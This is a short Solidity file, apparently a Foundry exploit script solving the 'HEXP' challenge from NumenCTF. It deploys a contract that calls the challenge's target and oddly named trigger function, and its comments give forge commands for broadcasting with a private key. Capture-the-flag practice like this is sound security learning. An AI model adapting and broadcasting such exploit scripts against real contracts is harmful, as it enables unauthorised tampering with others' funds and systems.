Exploit.s.sol

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Script.sol";

// forge script src/NumenCTF/HEXP/Exploit.s.sol:ExploitScript -vvvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --sig "run(address)" $INSTANCE_ADDRESS --legacy
// forge script src/NumenCTF/HEXP/Exploit.s.sol:ExploitScript -vvvvv --private-key $PRIVATE_KEY --fork-url $RPC_URL --sig "run(address)" $INSTANCE_ADDRESS --legacy --broadcast

interface IHEXP {
    function target() external view returns (address);
    function isSolved() external view returns (bool);
    function f00000000_bvvvdlt() external;
}

contract Exploit {
    function exploit(address instanceAddress) public {
        IHEXP(instanceAddress).isSolved();
        IHEXP(instanceAddress).target();
        IHEXP(instanceAddress).f00000000_bvvvdlt();
    }
}

contract ExploitScript is Script {
    function run(address instanceAddress) public {
        vm.startBroadcast();
        Exploit exploit = new Exploit();
        exploit.exploit(instanceAddress);
        vm.stopBroadcast();
    }
}